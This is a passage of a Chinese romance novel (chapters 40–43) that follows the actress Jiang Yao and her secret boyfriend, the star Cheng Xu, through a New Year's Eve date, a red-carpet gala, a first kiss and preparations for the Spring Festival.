程绪脱下外套，直接步入了衣帽间。衣帽间占地很大，一排排的西装、衬衫、外套……分门别类，占据了整整一面墙。助理每季会将品牌最新款的衣服挂进衣橱，都是他惯穿的牌子、颜色和款式搭配，他向来没觉得有什么不好。此时，却有了点踌躇。
周颂在外面转了一圈，又穿着拖鞋踢踢踏踏走了进来，只见程绪站在房间中央，仿佛遇到了什么难题一样。他瞥了眼那些看起来大差不差的衣服，恕他眼拙，完全看不出来什么区别。
他又开始忍不住嘴痒：“哥，虽然你穿什么都好看，但咱有时候能不能换点新装扮呢。”
怕他没有所谓“新”的概念，周颂干脆掏出手机，找出几张同行的照片，让他感受更加直观些：“喏，你看，冬天的话，像宴池这样穿，是不是看起来就会特别不一样？”
他手指在宴池图片上点着，说完仿佛终于想通了什么，“怪不得江遥当年能看上他呢，刚才正眼都没给我甩一个。”
他的思绪还沉浸在回忆里，身体却敏锐地察觉到气氛不太对，连忙补救：“我不是说他比你好看的意思哈，但咱也不能太低调没有一点新鲜感，你说是吧？”
程绪没有接话，周颂自告奋勇，想给他来一套新的穿搭。翻遍衣帽间，也没找到想要的搭配，拿着一件黑色大衣在他身前比了比，问：“你有没有卫衣？”
问完也知道自己想太多，果然听到一句“没有”。
周颂挠挠头，颇有点巧妇难为无米之炊的意思：“有时候该买还是得买点的。”
程绪眸子沉了沉：“还不快走。”
他一旦冷下脸来，周颂就完全不敢再去触霉头。他一叠声答应着：“哦哦，我马上就走。”说完将手里的衣服挂了回去，倒退着往外撤去。
终于退到玄关处，正准备张口道别，却只见屋内的人，也拿起车钥匙跟出了门。房间门自动关上，周颂呆呆问：“哥，你去哪儿？”
他眉头一皱：“不是你说要买衣服？”
周颂立马兴奋了起来：“对对对，咱们买衣服去！我保证，一定惊艳众人！”
程绪面无表情，直接倒车上路。
即将打烊的时候，A城某商场迎来了两位贵宾。模特本人比例惊人，天生的衣服架子，刷卡也非常爽快，半小时将几个专柜全部扫购一轮。最后两人满载而归，SA也笑得合不拢嘴。
第二天，江遥一觉睡到中午，终于感觉自己又恢复了点精神。给程绪发信息，让他一小时后来接。
等她慢悠悠起床洗漱、挑衣服，一小时很快过去，他的消息也到了。
小区里早几天已经换上了新年的装扮，一片喜气洋洋，今天看起来却格外不一样。江遥步子轻快，在小区楼下找到了他的车，还是低调的黑色，却不是之前见过的。
他从里面开了副驾驶的门，江遥坐进去，拉好安全带系上，眼睛却一直落在他身上。
不同于之前在影视剧或者社交平台上看过的他，今天他穿着一件浅色大衣，里面叠搭连帽卫衣，明明是有点慵懒的组合，在他身上，却仍自带气质和高级感。江遥第一次看他这种装扮，忍不住多看了几秒。
他开车上路，眼睛盯着前方的路况，她的目光却如有实质，在他的脸上徘徊。
他打了一把方向盘，车子汇入行车道，语气随意：“盯着我干什么？”
江遥靠着车窗，偏头看他，诚实回答：“很少见你这么穿。”
如果这句话被程绪的粉丝听到，可能会义正严辞地反驳她：“是从未！从未！”
可能跟他从小接受的教育有关，着装搭配已经形成了惯有的一套风格，贵气沉稳，仿佛随时都能上谈判桌，自然也就缺少一些新意与活力。当然，不管是怎样的衣服，搭上他的脸，都不会有人说出来半个不好
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。但今天，确实有点让江遥眼前一亮。
红灯的间隙里，程绪快速瞥了她一眼，又收回了目光，一瞬不瞬望着前方。
绿灯，车流重新驶动。他的侧脸看起来还是冷硬的棱角，很是难以接近，江遥却突地笑了，轻轻补上一句：“好看的。”
他好像做什么都很认真，安静的空间里，一时只剩导航的语音播报声。
江遥提议约会，却压根没有做功课，而且带着个大众情人出街，难免有暴露的风险。最后是程绪说，隔壁有跨年烟火表演，人流相较A城也不算多。于是，一拍即合。
导航语音提醒，离目的地预计还有三十分钟，预计经过十七个红绿灯。程绪声音淡淡的，接上她之前的话：“时间还长，你可以多看看。”
江遥移开视线，嘴上却不肯认输：“当然，最重要还是脸好看。”
今天是难得的大晴天，程绪将车直接开到了一家中式庄园餐厅门口。下车时，江遥戴上帽子口罩，落后几步，跟着他往里走。
户外树木已经凋零，室内却仍是盎然的春景。经理一脸笑意，引他们入座，嘴上寒暄几句，程绪淡淡应着，听起来很是相熟。
待经理退出去，江遥才将心底的疑问问出口，他告诉她：“周颂和几个朋友弄着玩的。”
这里算得上是周颂的秘密花园，私密性很好，当然江遥并不知道。她回想了下，那人确实很会享受的样子，便也点点头。
餐厅供应的蔬菜全部人工种植，绿色天然，菜单每天更换，经理指挥着侍应生将最后一道菜上桌：“您今天来得巧，这道菜刚上，这不马上端来给您尝尝，应该合您口味的。”
摆盘精致，配色鲜明，程绪递过筷子，示意江遥尝尝味道。
女人坐在一旁，帽子口罩遮得严实，一头黑色长发，看得出岁数不大。经理不动声色地将一切尽收眼底，阖上门退了出去。
江遥摘下口罩，素净的小脸，毫无脂粉痕迹。程绪瞥她一眼，又很快移开了视线。
早餐的时间被她用来补觉，出门前随便吃了点东西对付了下，这会儿已经有点饿了。菜的口味偏清淡，但味道确实很不错。
程绪一直没怎么说话，江遥安心填着肚子，饭桌上一时只余筷子触碰碗碟的声响。
吃到后来有点渴，她端起杯子，才发现茶水已经见了底。程绪主动伸手过来，给她续上。江遥接过，抬眼看了下他的神色：“谢谢。”
后来她发现，自己一旦有什么动作，他都会第一时间顾及到。
这人真是……她有点想笑，脸上却仍是淡淡的。
经理热情地送他们出门，让程绪下周一定要再来，有一道新菜要上。
“再看吧。”他随意往旁落去一瞥，她连眼睛都被压低的帽檐遮住，窥不见情绪。
开门上车，车子越走越偏，江遥看着人烟稀少的道路，疑惑道：“我们这是去哪？”
程绪回道：“离零点还早，随便走走吧。”
“哦。”江遥应了声，看着窗外倒退的风景，窝在座位上没有说话。
该怎么哄呢，她心内正抉择不下。却感到自己落在座椅上的左手，被人轻轻捏了下。
40. 摊牌
“别不开心了。”他摸到她的手指捏了捏，声音闷闷的，压住了音色里的清冽，颇有种哄劝的意味。
到底是谁在不开心啊，她嘴角上扬，又拼命压住了，脸一直朝着窗外边，留一个后脑勺给他。
车子在路边停下。江遥没有回头，只感觉到他牵走了自己的手。
手指被他的右手握住，他好像找到了什么新奇的玩具，一根根揉捏过去。她感觉自己像泡皱的纸片，被人慢慢抻开，抚平，放到太阳下晾晒。潮意一点点褪去，她斜倚着椅背，察觉自己的嘴角一点点扬起，他终于停下动作，将她的手收进自己的掌心里，不动了。
“你到底想怎样？”江遥敛起唇角的笑意，回头凶巴巴问了句。
他侧眸望来，没有说话，前额的头发垂下，倒显出点无辜的味道。
江遥看着两人相牵的手，他手指修长有力，她已经全然落进他的掌控里。两人匆匆在一起，有些话却没来得及摊开说。年后可能又会进入新一轮的忙碌，虽然今天时机不算太好，但她也不想轻轻揭过。
拿定主意，她耐下性子想求一个结果：“你在不开心什么？”
他只说：“没有。”
江遥无奈：“我不想找个男朋友还得猜谜语，有什么话你可以直接告诉我。”
他又玩起了她的手指，嘴巴却像紧闭的蚌壳。江遥猜测：“因为前几天放你鸽子了？”
他平静地接上：“你本来就没答应我。”
那上次见还好好的，这次到底是在闹什么别扭呢。
江遥又猜：“是因为上次见面没把朋友介绍给你吗？我们现在这种情况，最好……”
话未说完，程绪闷闷答：“我又不是不认识她。”
江遥思路轻易被带跑，感慨道：“看来咱静静是真出息了。”在程绪淡圈时，汪静静还是个徘徊在最底层的小演员。现在资源上来，能被越来越多人认识也不足为奇，只是没想到，他也能关注到。
他提醒她：“之前餐馆见过的。”
江遥还是疑惑：“我给你们介绍过了吗？”几个月过去，记忆已经模糊，她没再深究。
不是因为这个啊。她只好又猜：“因为不喜欢偷偷摸摸？”
他地位摆在这里，如果有堪匹配的女友，官宣之时也只会被他人的祝福淹没，何必谈个恋爱还得避着人群走呢。可惜她在舆论漩涡里滚了几遭，已经不想承受太激烈的风暴。
他手下动作微微一顿，江遥心里有数，顺着这个方向说下去：“其实跟你在一块儿压力也挺大的。”
她装模作样叹了一口气，“如果被拍到，我估计得被你粉丝追杀。”
虽然这样说有点夸张，但恋情曝光后被线上辱骂线下anti的例子也见过不少，以后想轻松出门估计都有点难。
而且一旦两人关系被公开，她所有的努力，都会被否定，众人谈起她，只会说这是程绪的女朋友。而他功成名就，一点绯闻丝毫不会对他造成影响，最多被人说一句“眼神不好”。
之后分开，即使当事双方再如何云淡风轻，网友们的记忆，却会就此缠住他们。所以暂时隐瞒，对谁都好。
她在他手心挠了挠：“虽然我对你还挺有好感的，但你也知道，我不可能对我的事业弃之不管。”
她感觉到他好像笑了一下，抬眸看去，却还是一脸的不动如山。
她失望地垂下眼睫，一旁的手却被他用力握了握：“我没有这么想。”
他张了张口，语气艰涩：“我知道这对你其实不公平，当然也不会要求你停止前行。”
本就是自己强求不是吗。“要不要在一起试试”，他故意忽略掉前后文字以及她疑问的语气，不管她是不是一时的心血来潮，放任自己死死拽住了她，让她再也没有反口的余地。
“这样就很好了。”他告诉自己，也告诉她。
江遥于是就笑了：“真的？”
程绪也掀了掀唇角，微点了一下头。
看着窗外渐起的夜色，她问：“我们这是在哪？”
谁知道呢。程绪重新发动车子，两人一起穿过浓黑的夜色，向着前方驶去。
跨年夜多是结伴出行的人，朋友、情侣抑或家人三三两两走在一起，裹着厚厚的羽绒服，围巾帽子口罩遮得整个人密不透风。在夜色笼罩下，他们只是一对再平凡不过的小情侣，隐在黑暗中并肩而行。
离开熟悉的环境和认识的人群，江遥整个人放松许多。前方是一处夜市，喇叭声音此起彼伏，叫卖着各种吃食。她很久没来逛过这种小集市，看什么都觉得新奇，隔着不远不近的距离，津津有味听着其他人和摊主讨论，好像又重回学生时代，那一条条烟火气十足的后街。
程绪慢悠悠跟在后面，看她松弛而明朗的笑意，任幸福的浪潮将自己席卷。
前方有饮品店做活动，买两杯饮料送一张抽奖券。很多女生围在抽奖箱前，希望带走中意的礼品。江遥路过的时候，正好一个女生抽到大奖，将大型毛绒玩具交给男朋友抱着，两人牵着手走过来。江遥一时不防，差点被带倒，还好，一只手稳稳拉住了她。指节修长，掌心温暖。
江遥站稳，那对情侣匆匆说了句“抱歉”，人已走了很远，她掌心的温度却迟迟不下。
“走了。”程绪护在她身侧，迈开步子往前。
江遥快步跟上，抬手松了松脖子上缠绕的围巾，给自己留出点喘息的余地。
喧闹的夜市已经被远远甩在了身后，他的手一直没有再松开。
零点烟火表演，空中餐厅俯瞰江面，江景一览无余。江遥却按捺不住，兴致勃勃提议去江边走走，参与感更足。
江岸边早已散落着等待倒数的人，他们离开人潮，挑了个地方站脚。
终于，时间无可挽回地向着新一年倾斜，在最后的交替时刻，不知是谁起的头，人群中倒数声响起，声音洪亮而整齐：“10，9，8，7……”
时间无限接近零点，一声声倒数声，调动她身体里的血液翻涌，她跟上大家的节奏，朝着虚空喊出：“6，5，4……”
她神情激动，仿佛对新的一年有着无限憧憬，细瘦的手掌安静地蜷在他的掌心。程绪被她的热情带动，听着自己的声音和她的交错
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，两人相视而笑，一起喊出最后的数字。
“3！2！1！新年快乐！”他们不约而同开口，尽情表达着对彼此的祝福和新年的期许。旧年的最后一秒以及新年的最初时刻，两人一起携手度过，共享着此时的快乐。
“砰！”江对岸有烟花炸响，一声声呼啸着升腾而起，攀升至高处，绽开一朵朵绚烂的花火，像银河洒落天际，璀璨夺目。无穹的天幕成为它的布景，任它肆意挥洒笔墨，因着神秘的夜色而更加华美耀目。
像是一场所有人共赴的盛大筵席，在高朋满足里尽情高歌。极致燃放过后，又向着深不见底的江面跌落。
无边的幸福涌动，程绪低头久久凝视着面前笑靥如花的人儿，尽管身边烟火声声，人潮流动，他却一时恍惚，一句话脱口而出：“谢谢你，江遥。”
她没有问为什么，隔着口罩，踮脚在他唇上轻啄一口，柔柔对他笑着：“不用谢。”她拖着调皮的音调，兀自开心着，却不知简单一个动作，给人带去多少悸动。
两人连夜开车回A城，江遥靠着座椅，回复着手机里的信息，又给父母分别发了新年祝福。点进朋友圈，汪静静晒了几张极光照片，徐婉宁和刘灵泠两人一起跨年，齐淮应该是和朋友在集体聚会。她随手翻了几屏，锁了手机，望着漆黑的夜色出神。
身边人情绪突然低落了下去，程绪不明所以：“怎么了？”
江遥摇摇头。摇完的瞬间又想到下午的时候，她也是这么盘问他的。于是她试图跟他描述，繁华过后的空寂，盛宴散场的落寞。
“其实很多人都会有这种心理，为瞬间的绽放痴迷，却承受不来热闹后的孤寂。”她将自己隐藏在一群人的身后，他却轻易听出，握了握她手，“没关系，我陪你。”
车子照旧停在小区楼下，江遥和他挥手告别，下车前，想起来自己好像有什么事忘了跟他说，却又怎么都记不起了。明天再想吧。
虽然程绪没来，但周颂和谁都能玩个痛快，有他在的场子就不乏热闹，一行人疯玩到凌晨三点才散。零点时，手机信息提示音就开始响个不停，他挑了几个回复，又随手发出去不少红包。这会儿躺在床上睡不着，干脆又点开手机，回复了几条未读信息。
“叮”的一声轻响，有笔来自程绪的转账，他掰着指头数了数后面跟着的数字，足够他将车库里的车再添一辆了。
他醉眼朦胧，却知道对面是得罪不起的人，试探着发了个：「？」
程绪很快回复：「新年快乐。」
周颂瞬间泪如泉涌，这真是比亲哥还亲啊。完全忘记这位哥，已经整整一天没回他消息了。
齐淮这会儿要清醒许多，看着刚刷出来的朋友圈，怀疑自己是不是喝了假酒，重新看了看头像，戳进对话框：「你是？」
程绪回了条语音，新年快乐。简单几个字，仿佛莫名带着丝喜意。
齐淮摇了摇头，周颂这小子带的什么酒，后劲这么足。
江遥洗漱完，看到朋友圈提醒，有个熟悉的头像。点进去一看，是一张烟火的照片，不知道他什么时候拍的。他说：新年胜旧年。
41. 盛典
元旦过后，马上就是X杂志年度盛典。
今年的年过得特别早，各行各业都默契地按下加速键，各项工作紧锣密鼓地推进，以便大家能安心过年。
乔女士来电问江遥的春节安排，两人约好过年一起回老家，见见许久未见的老人们。
年度盛典前一天，H&F特别定制的礼服完成最后的收尾工作，在这样众星云集的场合，一袭合适的战袍能为人加分太多。Freya亲自操刀设计，无数工匠夜以继日地赶工，当江遥上身的那一刻，品牌工作人员内心只有满满的惊叹和满足，它就是为她而生。
品牌PR提议，出发图更换为H&F惯用的拍摄团队掌镜，只为更好呈现人衣合一的效果和凸显品牌质感。她相信，这组片子一出，H&F绝对稳赚流量和口碑。
镜头面前，一丝一毫瑕疵都会被放大，汪静静坐在江遥家客厅的沙发上，看着对面女人水嫩的皮肤，上手掐了一把。
江遥横眉冷对，好不容易挣脱魔爪，又被她磨着一起去了美容院做了全套护理，当然刷的是她的卡。
傍晚项目结束，离开前江遥去洗手间，汪静静等在外面，听到美容师刻意压低的声音传来。
“哇，江遥身上好香，而且人也特别有礼貌。”
听声音，招待他们进门的小姑娘也加入了讨论：“声音也特别好听！可惜进门时还戴着口罩。”
汪静静笑了笑，又低头看起了手机，和江遥出门向来是这样，所有人的焦点都会环绕在她身上。
在这样的忙碌中，直到活动开始前，江遥才想起，有件事忘记跟程绪报备。这场盛典，她将和宴池一起出席红毯。
其实最初她并没有想答应，奈何喝酒误事。
杀青宴那晚多喝了几杯，和小鱼敲定了这次活动的行程，回到酒店她整个人精神还很亢奋，小鱼陪她到十一点，受不住打着哈欠走了。
刚好宴池又发来微信缠问她考虑得如何，她烦不胜烦，脑子又有点飘飘然，直接就答应了下来。等第二天看到消息，想反悔已经来不及。既然怎么都会被骂蹭热度，那不如蹭的姿势漂亮点。
X杂志年度盛典在A城一家私人宅院举办，活动当晚星光璀璨，除受邀媒体外，拒绝一切外界探访。长长的红毯从门口开始铺展，顺着台阶延伸至高处。
汽车稳稳在古宅门口停下，轮胎摩擦地面，发出一阵轻微的声响。黑色车门打开，锃亮的皮鞋踏上地面，迈出一条被白色西裤包裹的笔直长腿。摄影师如有感应，疯狂连按快门，镁光灯闪得人睁不开眼睛。
候场的人被惊动，知道定是来了了不得的人。宴池躬身迈出，从容地整了整衣领，却并没有如众人预期般向着红毯走来。
他绕过车头，弯腰屈肘，侍立一旁。车门再次从里侧打开，一只纤细的胳膊缓缓搭进他的臂弯，皮肤瓷白，柔若无骨。
主持人报幕声响起，慷慨激昂的音调，敲动着围观众人的耳膜，“接下来走上红毯的是，影视演员宴池先生，以及江遥小姐！”之后，是一串二人待播作品的宣传。
众人的心思，却早已不在主持人千篇一律的讲稿上。
二人相携而来，缓步走上红毯，江遥一身黑色抹胸长裙，裙摆大开，圆润的肩头和秀美的锁骨莹莹露着，大方舒展，回应着四周的招呼。在公众面前，宴池又恢复了傲娇的模样，脸上没露出太多表情，却任劳任怨帮她拎着裙摆。
两人一黑一白，顶级容颜交辉，手快的摄影师已经传回照片，看着现场生图，无数人在心里惊呼：好配。
久违的红毯同框，唤起了某些人尘封的记忆：「江遥上次来X活动也是穿的黑裙子吧，没记错的话也是和宴池一起走的红毯。」
「我记得我记得，那条裙子后来卖到脱销，直接杀死了比赛。」
「程绪空降那场吗？好像有点印象。」
「我就是那场活动入坑的，可惜后来两人形同陌路，只能说曾经真过，唉……」
「不知道能不能不要乱说，他们从来没在一起过谢谢。」
「宴池粉丝能不能不要自欺欺人了，情侣手链锤得不能再锤了。」有CP粉哐哐甩出几张图。
网络上已经吵得不可开交，现场的人毫无影响。江遥看着高高的台阶，有点后悔穿了这样一双鞋。
她紧紧挽着他的手，生怕脚下不稳，在这么多人面前出糗。宴池还在低声打趣：“你裙摆这么大，其实里面穿拖鞋都没人知道。”
江遥对他无语，脸上却还得维持微笑。摄像机记录下来，又是一张两人言笑晏晏的神图。
红毯后，还有一场私人晚宴。其实按咖位两人不应该被安排在一起，但不知道主办方出于什么考虑，宴池坐到了江遥这一桌。
汪静静跟她相隔不远，已经落座，江遥经过时，两人寒暄了几句。汪静静给她一个意味不明的眼神，她没来得及懂。
直到在位置上坐下，她才明白，她想讲的是什么。
在她斜对面，苏远安正一个人静静坐着，周边几人聊得正欢，他脸上带着点笑，仿佛正认真倾听旁人说话。
感觉到江遥的视线，苏远安抬眸望来，嘴角笑意有微微凝滞，又很快笑了起来。江遥朝他点点头，拉开椅子落座。
后来有嘉宾分享了自拍的视频，短短十几秒，恰好不小心将这一幕收录。不甚明亮的灯光下，两人看起来陌生又熟悉，不知藏起了怎样的秘密。
＃宴池江遥携手走红毯＃＃瑶池复婚＃＃江遥黑天鹅造型＃＃江遥苏远安对视＃，一个不公开的活动，江遥上了一晚上的热搜，看得小鱼心惊胆战，生怕被骂买热搜。
在有人截图她和苏远安的对视，试图写出八百字小论文的时候，她刚刚和汪静静告别，并委婉拒绝了宴池的相送。
故意磨蹭了几分钟，等到人群散得差不多，江遥拿着手机，向着外面走去。她已经换下华美的战袍，裹上自己的外套，脚上一身运动鞋，只有妆还没来得及卸。
小鱼跟在她后面，上了一辆停靠在路旁的车。看起来不是之前见过的任何一辆，江遥忍不住问：“你到底有几辆车？”
“这里人多，这辆没怎么开过。”意思是怕被认出。
活动即将散场时，收到他的消息说来接她下班，江遥正想拒绝，他仿佛猜到了她的反应，紧跟着来了句“不会让人发现”。想想又是几天没见，只能在微信断断续续聊天，江遥最终答应了下来。
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听他这么说，她微微悬着的心彻底放下，整个人靠在椅背上，慢慢卸下全身的力气。
小鱼跟她讨论着年前的工作安排，H&F推了X杂志封面，已经和杂志社敲定拍摄时间。另有一个广告合同要签，官宣TVC和海报都得在一周内拍掉。之前投递的一个试镜也有了回音……
江遥半阖着眼睛听小鱼叽里咕噜说，时不时应几声。车内没有开灯，只有街道旁的霓虹灯不知疲倦不停闪动。有人偷偷地，又摸上了她的手。
他好像很喜欢摆弄她的手。从指尖开始，缓缓上移，又试探着紧握。没一会儿，又翻过来，顺着指腹慢慢摩挲。细致缓慢，动作轻柔，一点点熨平多年的褶皱。
她感觉到他觑来一眼，手指撤离的瞬间，她下意识想跟着前移，好在还剩几分意识，克制住了自己的动作。
不过几秒，那熟悉的指节，又攀上了她的手。还是舒缓的动作，好像留足退路，待她反应过来时，手指早被严丝合缝地缠住，十指紧扣。
后来她才知道，他喜欢摆弄的东西，原来还有许多。
总算消停了。江遥披着毯子，睡了过去。
经过市中心，小鱼去还衣服，先下了车。江遥醒来时，车子已经停在她家楼下，小鱼和司机不知去向。
她揉了揉眼睛：“现在几点了？”
程绪抬手看了眼表：“十一点四十。”
“啊，我睡了这么久吗？你怎么不叫我？”她扯下身上的毛毯，对着镜子整理头发，好像听到他低喃了句“不久啊”。
江遥整理好东西准备下车，手放到门上，又回头跟他说：“你也听到了，接下来我应该很忙。”
程绪低垂着眼睛没说话，又摸过来拉住了她另一边的手。
这是不让她走？江遥颇觉好笑，晃了晃相牵的手，问他：“干嘛？”初醒的嗓音带着一丝不易察觉的沙哑，又有着不自知的娇俏。
他没有回答。
她像哄小孩一般，随意敷衍：“你好好上班，不要太想我。”
程绪还是没有松手。江遥故意板起脸来：“有话快说，我要走了。”
本以为还有得磨，他却突然开了口：“亲一口。”音色清冷，掷地有声，像是在下达什么命令。
江遥以为自己听错，追问了一遍：“你说什么？”
“亲一口再走。”他压低声音又说了一遍，证明她确实没有听错。
好家伙，不鸣则已一鸣惊人，一点都不带拐弯的。她感觉身下的座椅，突然像是被人放入了一把钢钉，扎得她起身想逃，手却还被他紧握着。
今天他没有戴口罩，车内灯幽幽照着，她看不清他眼底的神情，只看得清他微微抿着的唇，唇色是自然的淡粉色，唇形……
她“唰”地移开视线，窗外夜色深深，整个天地，仿佛只有他在将她望着。脑中神经过于兴奋，她捏了捏手心，心一横，扭过头，估摸着角度，闭着眼睛吻了上去。
和温热的手心不同，他的唇更像是他本人，凉而冷。江遥想要退开，却感觉他用力拽住了她的手，握得有点发疼。
一声嘤咛，从相接的唇畔发出，像是进攻的信号。他轻启唇瓣，咬在了她的唇上。
42. 见色起意
“你干嘛！”江遥在他肩上狠狠捶了一下，明媚的眸子望着他。
其实并不疼，他的牙齿刚刚挨上她的嘴唇，力道就已经消散于无形。只剩胸腔里的心脏极速跳动，分不清是她的，还是他的。
他顺势退开了身子，还是无波无澜地将她望着，浅色的唇畔，却染上了艳丽的色泽，危险而迷人。下一秒，体内的火在她脸上腾腾升起，怕他看穿她的窘迫，干脆低下了头。
眼前的人儿低垂着头，再没了之前从容的模样，他有点没来由的心慌，只好摸索着，又扣住了她的手，声音低低：“对不起。”
他的声音像是天然的催化剂，将她摇摇欲坠的神智，轻易摧毁。
本就是她见色起意，说什么对不起。
她努力拼凑起四散的勇气，在他惊怔的眼神里，倾身靠近，狠狠在他唇上啄了一口，扬着唇角，笑得肆意：“没关系。”
看着他眼底明晃晃写满的错愕，她甚至感觉到一丝久违的快意。
车门从外关上，脚步声渐远，已经超出人耳能接收的极限。目光掠过指腹上斑驳的口红印，他怔然一瞬，唇畔又缓缓勾起一丝笑意。
手机上，有杨越几小时前发来的消息，询问今晚江遥的相关绯闻，是否需要处理。
放大图片，是她和宴池明媚的笑脸，苏远安的眉眼间，也多了丝成熟的意味。
他关了手机，决定放过自己：「不必。」
年前最后半个月，江遥开始疯狂赶工。
时隔多年后，由H&F推封，她再次成为一线杂志封面女郎，拍摄X杂志三月刊。除品牌新款宣传外，另有多件高定上身，给足了江遥排面。
杂志拍摄一天完工，她马不停蹄奔赴另一个摄影棚。一个本土品牌的代言合同敲定，各平台宣传物料集中拍摄。很巧的是，她在这个棚里遇见了一个熟人。
桐城拍宣传片时招待过她的那个女孩，刚好出差来A城，看到江遥的时候，直呼好巧。两人聊了聊，她还在感慨，上次她那版片子废掉太可惜了，呈现效果实在太好。可惜上头好像有别的考量，新版这两天已经完成最后剪辑，预计会在近期上线，作为春节旅游宣传的前哨。
这事江遥是知道的，那版片子后来她也看过，青山绿水的环境中，她与他把臂同游，那时的甜蜜本是剧情需要，无奈有人演技超群，太容易混淆一众看客。
小鱼给她看定版视频的时候，就说发出去可能会炸出一众CP粉。最后不知道出于什么考虑，这版视频被叫停，她偷偷松了口气，也没特意去问。
之前投递的简历有了几个面试通知，基本都是年前敲定演员，年后开工。在剧组扎了几个月，碰到的还是一个赛一个有原则的导演，再次来到面试现场，她才感觉到自己这半年，确实是有所沉淀。
在新代言物料全面铺开的时候，江遥终于开始了休假。她买了明天的票回家，二十八和父母一起回乡下。
A城外来人口很多，春节临近，街道上已见不到几个赶路的行人。当她刷着外卖平台，发现半小时都没人接单时，才意识到，运力资源紧缺，或许自己得自力更生了。
门铃响起，程绪看着门边站着的赵姨，大概猜到了她的来意。
这几天母亲打了好几个电话，催他过年早点回家，他只推说公司还有事要忙。许婉清见劝不动儿子，又不敢说重话，干脆让赵姨去看看他在忙些什么。
他把赵姨让进门，接过她手中的食盒，倒了杯水放在她手边。赵姨却坐不住，将食盒中的饭菜一一摆出，催促着他赶紧趁热吃了。
她很少来程绪这边的房子，四处参观了一下，又忍不住念叨他一个人在外面过得不像样，房子住得像旅馆，也没个知冷知热的人陪伴。
作为程绪的保姆，虽然长大后两人没太多机会相处，但她还是习惯性操着心，把他当小辈对待着。
程绪无奈道：“有专门的阿姨上门打扫做饭的。”
赵姨却觉得外面的人都不够贴心，说到最后又说让他早点回家过年，父母年纪大了，也是想他的。
心底的热意还没聚起就悄然消散，程绪知道她只是母亲派来的说客，只说他都懂的，有空会多回家看看。赵姨叹息一声，明白他不爱听这些，到底没再强求。
送走赵姨，看着一桌子铺开的菜肴，他突然很想听听她说话。
江遥从冰箱里翻出半袋水饺，还是之前小鱼煮剩下的。她找出小奶锅开火，刚烧上水，手机响了。是程绪的来电，她点击接通：“怎么了？”
程绪是A城人，自己在外独居，听说要到大年三十才会回家陪父母吃顿年夜饭。前几天谈起，江遥很是惊愕，他却说父母也很忙，家里向来是这样的相处模式，大家早已习惯。
他没有回答她的话，却问她：“你在干什么？”
水很快烧开，她将手机开了扩音摆在流理台上，挑了几个饺子下锅，一边回答他：“弄点吃的。”
他好像并没有什么特定的目的，只是想找她说说话，随口问道：“吃什么？”
“煮饺子。”
“速冻水饺？”程绪听到这里，语气似乎有点轻微不满，跟她确认道。
江遥莫名想起来那些关于大男子主义的传说，深怕他就是其中深藏不露的小能手，大方告诉他：“对啊，冰箱里只有这个了，别的我也不会做。”
又问：“你会做饭吗？”
那边顿了顿，说：“我可以学。而且我们可以请阿姨。”
电话那头短促地笑了下，仿佛他说了什么好笑的话。
江遥没跟着他的思路再往下说，又转回去问他今天吃了什么。
那边静了静，有轻微的声响传来，他说：“发你微信了。”
她点进对话框，是他发的一张照片，美食满满摆了一桌，江遥看了看锅里起伏的水饺，沉默了。
「你家阿姨厨艺看起来很好。」
赵姨厨艺确实不错，不然也不会在他家一做就是这么多年，连嘴巴挑剔的母亲都对她赞不绝口。
程绪回她：「下次让她给你做。」
水饺出锅，江遥要挂电话，程绪问她明天几点走。
她告诉他：“早上九点的飞机。”
他“嗯”了一声说知道了。<
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吃完将碗洗了，江遥换上外出的衣服，拿起手机才看到挂完电话后不久，他又给她发了条信息：「见一面好么？」
她告诉他还得出门买点东西，他马上回复可以跟她一起。
还能怎么办呢，那就见吧。
乔女士说，之前她从A城带回的一个药膏功效很不错，让她再买两盒带回去给外公外婆。
江遥下楼，在熟悉的地方找到了他的车。楼下的花坛一角似乎已经成了他的专属停车位，她好像已经习惯，有辆车等在这里，有个人将她期盼着。
也许是被她的小心翼翼感染，他武装得比她还严实。路上空荡荡的，两人牵着手走在街道边，买了药膏，江遥又说可以去看看衣服。
逛到一家老年服装店，江遥想给外公买件外套，看了一圈，却并没有什么中意的款。她把他当模特，拿了几件衣服在他胸前比划，想看看上身效果，倒把自己逗得前仰后合。
“走了。”察觉到她并没有真的看上哪一件，他拉着她的手进了下一家店。
却不知道，老板正上中学的女儿，对着他们背影拍了张照片，跟小姐妹分享今日见闻：「在店里碰到了对神仙情侣，超有气质的！可惜脸被挡住了。」
「呜呜呜美女就得配帅哥。」
第二天要赶早班机，两人在外面吃完饭早早回了家。江遥提着东西准备下车，晃了晃相牵的手：“那我走了。”
“真的不要我送你么？”程绪拉住了她的手，微蹙着眉头。
她想了想，还是没有被美□□惑到，低低应着：“嗯，时间太早了，我打车过去就好。”而且机场每天那么多人来来往往，除了蹲点的狗仔，还有送机的粉丝，保不齐就进入了谁的镜头里。
见他情绪不高，她心里又有点痒，仿佛鬼迷了心窍，问他：“要不要上去坐坐？”
他疏懒的眉眼抬了抬，跟她确认：“可以么？”
江遥问出口其实就有点后悔了，看他这样，又肯定地点点头。
于是，两人牵着手上了楼。口罩下，某人的唇角微勾。
电梯里，江遥看着反光的镜面里映出他们的身影，他左手拎着个袋子，右手和她的紧紧扣在一起，两人并肩而立，红色的数字缓缓跳动、上升，突然有种心虚的感觉。
江遥按亮客厅的灯，侧开身子把他让进门：“不用换鞋。”
和他家的布置天差地别，这一看就是女生的私密空间。出门匆忙，客厅里还敞着她收到一半的行李箱，沙发上被抱枕和玩偶占满，还有一只大鹅不知怎么躺到了地上。
程绪摘下口罩，弯腰捡起了肥白的大鹅，看着江遥，仿佛在问哪里才该是它的归宿。
江遥将玩偶摆放整齐，给他腾出一片地方落座。接过他的外套，挂在了一旁的衣帽架上。
她给他倒了一杯热水，杯子上描绘着卡通图案，程绪伸手去接，她却突然回过神来，将手收回：“不好意思，这是我的杯子”。
家里一般没有客人来，一次性水杯用完了没来得及再补。
“没事，我不介意。”他伸手接过，微微抿了一口。
43. 等你
江遥撂下他回了卧室，忙碌着收起未清点好的行李。
满室清香的女孩气息，将他浓浓包裹，程绪突然觉得有点喘不过气。
端着杯子起身，置物柜上的花瓶里，插着几束干花，五颜六色，远看开得很是热闹。江遥从卧室出来，跟他解释：“摆着看的，平时没怎么在家，也没那么多耐心养。”
程绪于是就跟在她身后转悠，两人有一搭没一搭说着话。江遥将一件毛衣收进行李箱里，拉上拉锁，终于停了下来。
他问：“你什么时候回来？”
“嗯……还没具体确定。”二十八回乡下陪外公外婆过年，可能还会去走几天亲戚，然后回自己家里，陪乔女士几天。
